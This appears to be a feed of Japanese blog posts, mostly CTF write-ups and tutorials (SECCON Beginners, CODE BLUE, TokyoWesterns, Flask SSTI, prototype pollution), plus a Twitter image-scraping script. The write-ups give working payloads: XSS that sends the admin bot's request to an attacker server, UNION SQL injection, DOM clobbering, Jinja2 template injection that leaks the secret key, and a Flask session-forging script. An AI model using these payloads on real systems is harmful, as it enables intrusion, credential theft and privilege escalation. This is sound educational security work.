Quantcast
Browsing Latest Articles All 11 Live
Mark channel Not-Safe-For-Work? (0 votes)
Are you the publisher? or about this channel.
No ratings yet.
Articles:

Twitter から香風智乃の画像を検索して保存する

Tweepy というPython用の Twitter API ライブラリを使って、Twitter からチノちゃんことごちうさ香風智乃の画像を検索して保存するスクリプトを作成した。

Twitter API の準備

Twitter APIの使い方まとめ を参照に、アプリケーションの登録および各種 Twitter API Key を取得する。

Tweepyの準備

Tweepy のインストールは下記のコマンドでできる (pip の場合)。

$ pip install tweepy

Tweepy の使い方は、Tweepy Documentation に書いてある。

例えば、自分のタイムラインを取得して表示するためには、以下のようにする。

import tweepy

CONSUMER_KEY        = 'Your Consumer Key'
CONSUMER_SECRET     = 'Your Consumer Secret'
ACCESS_TOKEN_KEY    = 'Your Access Token'
ACCESS_TOKEN_SECRET = 'Your Access Token Secret'

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET)
api = tweepy.API(auth)

public_tweets = api.home_timeline()
for tweet in public_tweets:
    print tweet.text

画像の検索&取得

Tweepy でキーワード検索するには API.search() を使用すればよい。
検索結果から、画像のURLを取得するには以下のようにする。

search_result = api.search(q=term)
for result in search_result:
    if result.entities.has_key('media'):
        for media in result.entities['media']:
            print media['media_url']

最後に、取得した画像のURLから画像をダウンロードするのだが、
画像のURLの最後に :orig を付けると縮小されていない元画像が取得できる。
(参照: Twitter の画像 URL に :orig をつけると元画像が取得できる(できない場合もある) - ヤルキデナイズド

作成したスクリプト

chino_image_downloader.py
# -*- coding: utf-8 -*-
import os
import tweepy
import urllib2

#= 画像の保存先ディレクトリ
IMAGES_DIR = './images/'

#= Twitter API Key の設定
CONSUMER_KEY        = os.environ.get('TWITTER_CONSUMER_KEY')
CONSUMER_SECRET     = os.environ.get('TWITTER_CONSUMER_SECRET')
ACCESS_TOKEN_KEY    = os.environ.get('TWITTER_ACCESS_TOKEN_KEY')
ACCESS_TOKEN_SECRET = os.environ.get('TWITTER_ACCESS_TOKEN_SECRET')

#= 検索キーワード
KEYWORDS = ['香風智乃', 'チノちゃん']

#= 検索オプション
RETURN_PAR_PAGE = 100
NUMBER_OF_PAGES = 10

class ChinoImageDownloader(object):
    def __init__(self):
        super(ChinoImageDownloader, self).__init__()
        self.set_twitter_api()
        self.media_url_list = []

    def run(self):
        for keyword in KEYWORDS:
            self.max_id = None
            for page in range(NUMBER_OF_PAGES):
                self.download_url_list = []
                self.search(keyword, RETURN_PAR_PAGE)
                for url in self.download_url_list:
                    print url
                    self.download(url)

    def set_twitter_api(self):
        try:
            auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
            auth.set_access_token(ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET)
            self.api = tweepy.API(auth)
        except Exception as e:
            print "[-] Error: ", e
            self.api = None

    def search(self, term, rpp):
        try:
            if self.max_id:
                search_result = self.api.search(q=term, rpp=rpp, max_id=self.max_id)
            else:
                search_result = self.api.search(q=term, rpp=rpp)
            for result in search_result:
                if result.entities.has_key('media'):
                    for media in result.entities['media']:
                        url = media['media_url_https']
                        if url not in self.media_url_list:
                            self.media_url_list.append(url)
                            self.download_url_list.append(url)
            self.max_id = result.id
        except Exception as e:
            print "[-] Error: ", e

    def download(self, url):
        url_orig = '%s:orig' % url
        filename = url.split('/')[-1]
        savepath = IMAGES_DIR + filename
        try:
            response = urllib2.urlopen(url_orig)
            with open(savepath, "wb") as f:
                f.write(response.read())
        except Exception as e:
            print "[-] Error: ", e

def main():
    try:
        downloader = ChinoImageDownloader()
        downloader.run()
    except KeyboardInterrupt:
        pass

if __name__ == '__main__':
    main()

参考文献

SourceTreeで特定のコミットメッセージをコピーする

普段 git を使うときは、SourceTree で作業しているのですが、コミットメッセージを使いまわしたいことが結構あるので、そのための設定をメモ。

どうやって実現するか

SourceTree には「カスタムアクション」という機能があり、この機能を利用すると様々なgitの操作を登録することができます。

詳しくは下記のサイトをご覧ください。

以降の説明は Mac OS 上での設定を想定しています。

スクリプトの作成

コミットメッセージの取得には、 git show コマンドを使いました。
引数 $1 には、選択したコミットのSHA-1が入ります(後で設定します)。

copy_message.sh
#!/bin/sh
git show $1 --quiet --pretty='%s' | pbcopy

また、実行権限を付与しないとエラーが発生するので、以下のコマンドで実行権限を追加します。

chmod +x copy_message.sh 

スクリプトの登録

メニューから [SourceTree] -> [環境設定] -> [カスタムオプション] -> [追加]

  • メニューキャプション: 任意(例: コミットメッセージをコピー)
  • 実行するスクリプト: 作成したスクリプトのパス
  • パラメータ: $SHA

として登録します。

実行してみる

実際にやってみるとこんな感じ

image

参考

SECCON Beginners 2018 Write-up

実質公式 Write-up はこちら

SECCON Beginners CTF 2018 Write-up - Qiita

4r@r3㌠ というチームで個人参戦しました。忘れないうちに Write-up をメモしておきます。

■ Web: [Warmup] Greeting

管理者である admin のみが Flag を見ることができるページ。

Cookie から $username の値を設定しているので、 Cookie の name の値を admin にするだけ

■ Web: Gimme your comment

問い合わせ?の投稿と、それに対してコメントができるWebサービス。
投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」という回答が来て、その際に用いられるブラウザの UserAgent を求めるという問題。

投稿のタイトルとコメントは XSS できないが、投稿の本文が特にサニタイズされていないため XSS 可能。
例えば、以下のような本文で投稿すると、自分のサイトに対してリクエストを飛ばすことができる。

<script src="[Your Server]"></script>

なお、私は XSS する際にアクセスさせるサイトに RequestBin を用いている。サービス自体は終了してしまったが、OSS として公開されており簡単に heroku にデプロイできるのでオススメです。

■ Web: SECCON Goods

SECCON グッズの在庫状況がわかるサイト。
Vue.js が使われており、 init.js を見ると /items.php?minstock=0 にアクセスしているのがわかる。

/items.php?minstock=100 とすると 1 件も返ってこないが、 /items.php?minstock=100 or 1=1;-- とすると全件返ってくるため、SQLi できることがわかる。

あとは 普通に UNION を使って SQLi するだけ。

/items.php?minstock=100 union select table_schema, table_name, column_name, 1, 1 from INFORMATION_SCHEMA.COLUMNS;--

INFORMATION_SCHEMA から flag がありそうなテーブルを見つける。

[
  ...,
  {
    "id": "app",
    "name": "flag",
    "description": "flag",
    "price": "1",
    "stock": "1"
  },
  ...
]

flag の取得

/items.php?minstock=0 union select flag, 1, 1, 1, 1 from flag;--

■ Web: Gimme your comment REVENGE

Gimme your comment と同じサイトで、フラグの取得条件も同じ。
ただし、 Contents Security Policy(CSP) が設定されているため、インラインの JavaScript を実行したり、外部オリジンからリソースを読み込むことができない。

かなり悩んだが、 worker の JavaScript のコードを読んでいたら 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」というコメントが来る ことを思い出し、以下の本文でいけることに気づいた。

</form>
<form method="post" action="[Your Server]">

これなら CSP を回避しながら外部オリジンにリクエストを送ることができる。

Gimme your comment を解いている時は、コメント機能の存在意義や、なぜセッションハイジャックではなく UserAgent でいいのか疑問だったが、これで納得した。

■ Misc: [Warmup] plain mail

問題ファイルを Wireshark で開き、 Follow TCP Stream で眺めながら、Zip ファイルとそのパスワードを取得ししておしまい。

■ Misc: [Warmup] Welcome

問題文

フラグは公式IRCチャンネルのトピックにあります。

■ Misc: てけいさんえくすとりーむず

手計算と書いてあるがもちろん自動でやらせる。

import time
import socket

HOST = 'tekeisan-ekusutoriim.chall.beginners.seccon.jp'
PORT = 8690

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip,remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    start_time = time.time()
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
        if time.time() - start_time > 3: break
    return data

def main():
    print 'nc %s %s' % (HOST, PORT)
    s, f = sock(HOST, PORT)

    # Skip initial data
    for i in range(11):
        result = read_until(f)
        print result.strip()

    for i in range(100):
        result = read_until(f)
        print result.strip()
        result = read_until(f, '=')
        response = str(eval(result[:-1]))
        s.send(response + '\n')
        print result.strip() + response

    while True:
        result = read_until(f)
        if not result: break
        print result.strip()

    print 'finish.'

if __name__ == '__main__':
    main()

■ Misc: Find the messages

ディスクイメージが渡されて、その中に隠されたメッセージを探す問題。

とりあえずマウントしてみる。

$ sudo fdisk -l -u disk.img

Disk disk.img: 67 MB, 67108864 bytes
41 heads, 32 sectors/track, 99 cylinders, total 131072 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xad4d4cf0

   Device Boot      Start         End      Blocks   Id  System
disk.img1            2048      131071       64512   83  Linux

$ sudo mount -o loop,offset=$((2048*512)) disk.img /mnt
$ sudo ls -lhR /mnt
.:
total 15K
drwx------ 2 root root  12K  4月 28 02:03 lost+found
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message1
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message2
drwxr-xr-x 2 root root 1.0K  4月 28 02:05 message3

./lost+found:
total 0

./message1:
total 1.0K
-rw-r--r-- 1 root root 24  4月 28 02:03 message_1_of_3.txt

./message2:
total 15M
-rw-r--r-- 1 root root 15M  4月 28 02:03 message_2_of_3.png

./message3:
total 0

マウントすると3つのディレクトリが見える。

  • message1/
    • message_1_of_3.txt : ただの Base64 エンコードされたテキスト
  • message2/
    • message_2_of_3.png : PNG だがファイルシグネチャの部分が壊れているので修正する
  • message3/
    • ファイルがないため、修復する必要があると予想
$ fls -r -o 2048 disk.img
d/d 11: lost+found
d/d 12: message1
+ r/r 13:   message_1_of_3.txt
d/d 2017:   message2
+ r/r 14:   message_2_of_3.png
d/d 2018:   message3
+ r/r * 15: message_3_of_3.pdf
d/d 16129:  $OrphanFiles
$ icat -o 2048 disk.img 15 > message_3_of_3.pdf

これで復元できると思ったのだが、できなかったため binwalk を用いた。

$ binwalk disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#
17829888      0x1101000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

$ binwalk --dd='pdf:message_3_of_3.pdf' disk.img

■ Crypto: [Warmup] Veni, vidi, vici

Zip ファイルが渡され、解凍すると 3 つのファイルが出てくる。
1つは ROT13、もう1つはシーザー暗号、最後の1つはアルファベットを上下反転させたもの。

■ Crypto: RSA is Power

RSA の公開鍵の情報が与えられ、暗号文を復号する問題。
RSA は n が素因数分解できれば復号可能なので、おもむろに FactorDB に突っ込んだところ素因数分解してくれた。

あとはやるだけ。

■ Crypto: Streaming

暗号化のスクリプトと暗号文が渡されて復号する問題。
暗号自体は XOR 暗号に seed がついてるだけ。しかも seed は mod 34607 したものなので、総当たりでできる。

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

encrypted = ''
with open('encrypted', 'rb') as f:
    while True:
        value = f.read(1)
        if value == '': break
        encrypted += value

candidate = []
for seed in range(34607):
    g = Stream(seed)
    a = ord(encrypted[1]) * 256 + ord(encrypted[0])
    # Check flag starts with 'ct'. Because flag format is 'ctf4b{...}'.
    if a ^ g.next() == int('ct'.encode('hex'), 16):
        candidate.append(seed)

for seed in candidate:
    try:
        flag = ''
        g = Stream(seed)
        for i in range(0, len(encrypted), 2):
            a = ord(encrypted[i+1]) * 256 + ord(encrypted[i])
            flag += hex(a ^ g.next())[2:].decode('hex')
        print flag
    except:
        pass

CODE BLUE CTF 2018 Quals Write-up

CODE BLUE CTF 2018 Quals に チーム m1z0r3 として参加しました。

Scrap Square v1.0 という問題を解いたので、忘れないうちに Write-up を書きます。

Scrap Square v1.0

メモを記録するアプリケーション。ソースコードも渡される。ユーザ登録ができ、問題のあるメモは Admin に報告することができる。

image.png

解答

適当なユーザ(uid: uid1)を作成して、その後

<form name="admin" id="[uid1]"></form>
<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!-- 

というユーザ名でユーザ(uid: uid2)を登録し、

http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..

という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。

あとは、

http://v10.scsq.task.ctf.codeblue.jp:3000/reports

を見ると、admin のトップページの情報からメモのタイトルの一覧がわかるので、

http://v10.scsq.task.ctf.codeblue.jp:3000/admin/[Title]

にアクセスすると FLAG が手に入る。

解説

■ ポイント1: ユーザ名に関して

<form name="admin" id="[uid1]"></form>
<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!-- 
  • ユーザ名はサニタイズされないため XSS 利用可能。
  • periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js をロードすることで、自動で reportScrap() が実行される。
  • reportScrap() では window.admin.id 宛に報告されるので、 DOM Clobbering によって window.admin.id の値を自分の UID に書き換える。
  • のちにロードされる config.js によって window.admin.id の値が書き換えられるのを阻止するために最後にコメントアウトする。
  • コメントアウトにより、必要な JS ファイルもロードされなくなってしまうので、必要なファイルはあらかじめロードする。

■ ポイント2: 報告する URL に関して

http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..

という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。

load-scrap.js を見ると、現在の URL を / で区切って、 usertitle を取得して GET する URL を組み立てている。

load-scrap.js
const urls = location.href.split('/')
const user = urls[urls.length - 2]
const title = urls[urls.length - 1]

// ...

$.get(`/static/raw/${user}/${title}`)
  .then(c => {
    const scrapBody = $('<pre class="scrap-body">')
    scrapBody.text(c)
    $('.scrap-wrapper').append(scrapBody)
  })

例えば http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/hoge/fuga?piyo=../.. という URL の場合には、 /static/raw/../.. という URL(つまり / )を load してくる。

この URL を報告することにより、 load-scrap.js は admin のトップページの情報を取得して HTML に反映する。

TokyoWesterns CTF 4th 2018 Write-up

TokyoWesterns CTF 4th 2018 に チーム m1z0r3 として参加して、1015点で53位でした。

自分は以下の4問を解き、416点を入れました。

  • SimpleAuth (55pt) - Warmup / Web
  • scs7 (112pt) - Warmup / Crypto
  • mondai.zip (95pt) - Warmup / Misc
  • Revolutional Secure Angou (154pt) - Crypto

忘れないうちに Write-up を書きます。

SimpleAuth

問題文のURLにアクセスするとソースコードが見える

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query); // ココ
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

ここの parse_str($query) の処理が間違っており、 PHP Manual を読むと、第二引数がない場合は 現在のスコープに勝手に変数をセットする らしい。

というわけで $hashed_password をセットすれば良い。

/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e

にアクセスすれば FLAG が降ってくる。

scs7

nc crypto.chal.ctf.westerns.tokyo 14791 をすると、暗号化された FLAG が送られ、その後メッセージを送信すると暗号化して返してくれる。

色々試した結果、以下のことがわかった。

  • 暗号文は、メッセージをHexエンコードしたものを59進法に変換したものである。
  • ただし、59進法で使われる 0-58 をどの記号に割り当てるかは毎回バラバラである。

したがって、はじめに 0-58 がどの記号に対応するか対応表を作ってしまえば、暗号化された FLAG を復号することができる。具体的には chr(59) から chr(117) までを試して、暗号文の最後の桁の文字を見ると、それが 0-58 の数字に対応する。

#!/usr/bin/env python
import socket

HOST = 'crypto.chal.ctf.westerns.tokyo'
PORT = 14791

def sock(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def main():
    print 'nc %s %s\n' % (HOST, PORT)
    s, f = sock(HOST, PORT)

    result = read_until(f).strip()
    print result
    encrypted_flag = result.split(': ')[1]
    print read_until(f).strip()

    table = {}
    for i in range(59, 118):
        print read_until(f, ': ').strip() + chr(i)
        s.send(chr(i) + '\n')
        result = read_until(f).strip()
        print result
        table[result[-1]] = i - 59

    flag = 0
    for i, s in enumerate(encrypted_flag[::-1]):
        flag += table[s] * (59 ** i)

    print
    print hex(flag)[2:-1].decode('hex')

if __name__ == '__main__':
    main()

mondai.zip

mondai.zip が渡され、解凍すると中からまた Zip ファイル(パスワード付き)が出てきて、パスワードを解読して解凍するとまた Zip ファイルが出てきて… みたいな問題。

ちなみに、1番目のパスワードが一番難しかった… 他の人が2番目まで解いてくれたので残りをやった。

1番目のパスワード

ファイル名がそのままパスワード

2番目のパスワード

capture.pcapng を開くと、不自然なデータを持つ ICMP パケットが並んでおり、データサイズに着目するとパスワードがわかる

$ tshark -n -t e -r capture.pcapng -Y 'icmp and ip.dst == 192.168.11.5' -T fields -e data.len
print(''.join([chr(i) for i in [87, 101, 49, 99, 111, 109, 101]]))

3番目のパスワード

list.txt がパスワードリストで、どれかが正解

from zipfile import ZipFile

password_list = open('list.txt', 'r').read().split('\n')
with ZipFile('mondai.zip') as zf:
    for password in password_list:
        try:
            zf.extractall(pwd=password)
            print '+ Completed! Pass: ' + password
            break
        except:
            continue

4番目のパスワード

ファイル名が MD5 ハッシュ値で、元のメッセージがパスワード

5番目のパスワード

README.txt を見ると、 "password is too short" とのことなので総当たりを試す

解凍すると secret.txt が出てくるので、指示通り ( TWCTF{(2)_(5)_(1)_(4)_(3)} ) に FLAG を組み立てる

Revolutional Secure Angou

:warning: (私は数学弱者なので、以下は数学的に正しくない可能性が大いにあります。ご注意ください)

$ q \times e \equiv 1 \pmod{P} $ より、次のように考えた。

qe = px + 1
x = \frac{q}{p}e - \frac{1}{p} \approx \frac{q}{p}e \left(\because 0 \lt \frac{1}{p} \ll 1 \right)

ここで、 $p$ と $q$ は巨大な素数であり、 $\frac{q}{p}$ の値はそこまで大きくならないと仮定すると、 $x$ の値は $e$ と大幅には変わらない(ブルートフォース可能)と判断した。

また、

qe = px + 1
ne = p^2 x + p
p^2 = \frac{ne - p}{x} \approx \frac{ne}{x} \left(\because ne \gg p \right)

となるので、$x$ を徐々に増加さながら、 $\frac{ne}{x}$ を超えない最大の平方数を計算し、その平方根を元の式に代入して成立するか確かめた。

require 'openssl'

key = OpenSSL::PKey::RSA.new File.read('publickey.pem')
e, n = key.e.to_i, key.n.to_i

# num 以下の最大の平方数を求める
def search_square(num)
  ds = num.to_s.reverse.scan(/..|.$/).reverse.map(&:reverse)
  k, n = 0, 0
  ds.each do |d|
    k = (k.to_s + d.to_s).to_i
    j = 0
    j += 1 while ((n.to_s + j.to_s).to_i + 1) ** 2 <= k
    n = (n.to_s + j.to_s).to_i
  end
  n
end

2.upto(1000000) do |x|
  puts x if x % 1000 == 0
  p = search_square(n * e / x)
  q = n / p
  if p * (p * x + 1) == n * e
    puts "+ p: #{p}"
    puts "+ q: #{q}"
    break
  end
end

# rsatool.py を用いて、秘密鍵 (privatekey.pem) を生成する
#   $ python rsatool.py -f PEM -o privatekey.pem -p [p] -q [q]

key = OpenSSL::PKey::RSA.new File.read('privatekey.pem')
File.binwrite('flag', key.private_decrypt(File.binread('flag.encrypted')))

CTF的 Flaskに対する攻撃まとめ

この記事は m1z0r3 Advent Calendar 2018 の1日目です。

m1z0r3 では年に一度、チーム内で問題を出し合って解くチーム内 CTF を開催しています。
奇しくも今年のチーム内 CTF は明日に開催のため、実際に作った問題の解説はできないので、今日はボツになった作問案から書きたいと思います。

はじめに

CTF(Capture The Flag)では、問題を解く際に Python でスクリプトを書くことが多いです。
Python には Flask という軽量Webフレームワークがあり、 CTFd という CTF のスコアサーバが簡単に構築できるフレームワークなどにも使われています。

Flask は手軽に Web アプリケーションを構築できる一方で、(他の言語・フレームワーク同様に)正しく使わないとセキュリティ上問題があります。そのため、CTF の Web 問題でもしばしば取り扱われます。

本記事では、上記の問題を解きながら、CTF でよく扱われる Flask への攻撃を解説しようと思います。
(なお、間違い等がありましたら、コメントや編集リクエストで優しく指摘してもらえると嬉しいです :bow:

ちなみに対象は CTF 初心者としています。

問題の概要

GitHub の README にあるようにセットアップをします。

セットアップ後 http://localhost:5000 にアクセスすると、問題のソースコードが見られます。

app.py
#!/usr/bin/env python3
import os
from dotenv import load_dotenv
from flask import Flask, render_template_string, request, session

# Load dotenv
dotenv_path = os.path.join(os.path.dirname(__file__), '.env')
load_dotenv(dotenv_path)

FLAG = os.environ.pop('FLAG')

app = Flask(__name__)
app.secret_key = os.environ.pop('SECRET_KEY')


@app.route('/', methods=['GET'])
def index():
    session['username'] = 'guest'
    return open(__file__).read()


@app.route('/echo', methods=['GET'])
def echo():
    return render_template_string(request.args.get('q', ''))


@app.route('/admin', methods=['GET'])
def admin():
    if session.get('username') == 'admin':
        return FLAG
    else:
        return 'You are not admin!'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

目標は何とかして FLAG という定数の値を手に入れることです。

そのためには session['username'] の値を admin に書き換える必要があることがわかります。

Flask のセッション管理

まずはじめに、Flask のセッションの管理方法について見てみます。

Flask では標準で Flask.secret_key を設定すると、セッションを使うことができます。この時、Flask ではセッションの内容を署名付きで Cookie に保存します。

問題ページにアクセスして、ブラウザの開発者ツールや EditThisCookie などで Cookie の値を確認すると、 session という Cookie の中に以下のような値が入っていると思います。

eyJ1c2VybmFtZSI6Imd1ZXN0In0.W_vMzg.g41aywjgtacuHnXixdM3UaG9wN4

このうち . で区切った最初の部分 eyJ1c2VybmFtZSI6Imd1ZXN0In0 がセッションの中身を Base64 エンコードしたものになっています。

$ echo -n 'eyJ1c2VybmFtZSI6Imd1ZXN0In0=' | base64 -D
{"username":"guest"}

なお、セッションの中身が大きくなると zlib で圧縮され、その時には先頭に . が付きます。

Cookie を . で区切った2番目の部分はタイムスタンプであり、3番目は署名となります。署名には secret_key の値が必要となるため、 セッションの改ざんはできません。

したがって、Flask の標準のセッションでは Cookieからセッションの中身を見ることはできてしまいますが、 secret_key の値が漏洩しない限りセッションの改ざんはできません。

Server-Side Template Injection

Web フレームワークでは、動的に HTML を生成するためにテンプレートエンジンを用いることが多いです。テンプレートエンジンは、雛形となるテンプレートとデータを合成して、HTML やメール等を生成します。

Flask では Jinja2 というテンプレートエンジンを使っています。簡単な例を見てみましょう。

from flask import render_template

@app.route('/users')
def users():
    users = [{'name': f'user{i}', 'url': f'http://example.com/{i}'} for i in range(5)]
    return render_template('index.html', users=users)
templates/index.html
<ul>
{% for user in users %}
  <li><a href="{{ user.url }}">{{ user.name }}</a></li>
{% endfor %}
</ul>

Flask では render_template という関数によって、使用するテンプレートとテンプレートに渡す変数を指定して render します。
Jinja テンプレート内では {% %} で囲まれた部分が Jinja の構文と見なされ、 {{ }} で囲まれた部分は評価した結果を表示するようになっています。

ここで、問題のソースコードを見てみましょう。

@app.route('/echo', methods=['GET'])
def echo():
    return render_template_string(request.args.get('q', ''))

render_template_string という関数は、第一引数の文字列をテンプレートとみなし render する関数です。第一引数は /echo?q=...... に相当するクエリパラメータです。

例えば /echo?q=hoge にアクセスすると、 hoge と表示されると思います。
しかし、 /echo?q={{10*10}} にアクセスすると、 {{ }} で囲まれた部分の内側の 10*10 が Jinja2 により評価され 100 が表示されます。

このように、ユーザーが何かしらの要因によりテンプレートに不正な値を埋め込むことで、任意のコードを実行することを サーバサイドテンプレートインジェクション と言います。

そして、 Flask ではデフォルトでいくつかの変数が Jinja2 に渡されており、テンプレート内で利用することができます。

その中の一つの config の中に secret_key が格納されています。したがって、 /echo?q={{config}} にアクセスすると、 config の中にある secret_key の値が見えてしまいます。

<Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

Flask のセッション改ざん

secret_key の値が手に入ったので、今度はセッションの中身を見るだけでなく書き換えることもできます。

#!/usr/bin/env python3
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer


class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )


class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)


if __name__ == '__main__':
    secret_key = '<<-- Input Seccret Key -->>'
    cookie = '<<-- Input Cookie -->>'
    print(FlaskSessionCookieManager.decode(secret_key, cookie))

    session = { 'username': 'admin' }
    print(FlaskSessionCookieManager.encode(secret_key, session))

上記のスクリプトは、Flask がセッションの内容を Cookie に格納する処理の一部を書き換えて、任意の内容で署名できるようにしたものです。
これにより手に入った Cookie を使ってアクセスすると、無事 FLAG が手に入ります。

PyJail のあれこれ

今回は受け取ったクエリパラメータをそのままテンプレートとして扱いましたが、実際の CTF では何かしらの制約が設けられることが多いです。

例えば、今回の secret_key を見る方法は他にもあります。

  • /echo?q={{self.__dict__}}
  • /echo?q={{url_for.__globals__.current_app.__dict__}}
  • /echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
  • /echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
  • /echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
  • /echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}

Jinja2 では組み込み関数は使えないため、以下のような特殊属性、特殊メソッドをよく使います。

  • object.__dict__ : オブジェクトの属性を保存している辞書
  • instance.__class__ : クラスインスタンスが属しているクラス
  • callable.__globals__ : 関数のグローバル変数の入った辞書
  • object.__getitem__(key) : object[key] が使えない時など

参考

チーム内CTFで作問した話 - プロトタイプ汚染攻撃編

この記事は m1z0r3 Advent Calendar 2018 の6日目です。

以前、 Node.jsにおけるプロトタイプ汚染攻撃とは何か - ぼちぼち日記 という記事を読んで「CTF の Web 問で使えそうだなぁ」と思ったので、先日チーム内で開催した CTF に出題してみました。

本記事では、どのような問題を作成したかと、作問にあたり大変だったことを書きます。
なお、ソースコードは下記にあるので、試したい場合は README のようにセットアップしてみてください。

プロトタイプ汚染攻撃とは?

Node.js におけるプロトタイプ汚染攻撃に関しては、以下の記事に詳しく書いてあります。

そもそも JavaScript はプロトタイプベースの言語です。次の例を見てみましょう。

Object.prototype.hello = function() {
  console.log('Hello');
}

const hoge = {}
console.log(hoge instanceof Object) // -> true
console.log(hoge.__proto__ === Object.prototype) // -> true

hoge.hello() // -> Hello

上記では hoge には hello() というメソッドは定義されていませんが、 hoge.hello() によって Hello が表示されます。
実は hoge を定義した時に、自動で hoge.__proto__ というプロパティが生成され、そこに Object.prototype への参照がセットされます。

そして hoge.hello() を呼び出した時、 hogehello というプロパティがない場合には、 hoge.__proto__.hello があるか見に行きます。 hoge.__proto__Object.prototype と同一なので、 Object.prototype.hello が呼び出された、というわけです。

逆にこれを利用して、プロトタイプを汚染することもできます。

const hoge = {}
hoge.__proto__.polluted = 1

const fuga = {}
console.log(fuga.polluted) // -> 1

hoge.__proto__Object.prototype と同一なので、 hoge.__proto__.polluted = 1 というのは Object.prototype.polluted = 1 としたのと同じです。

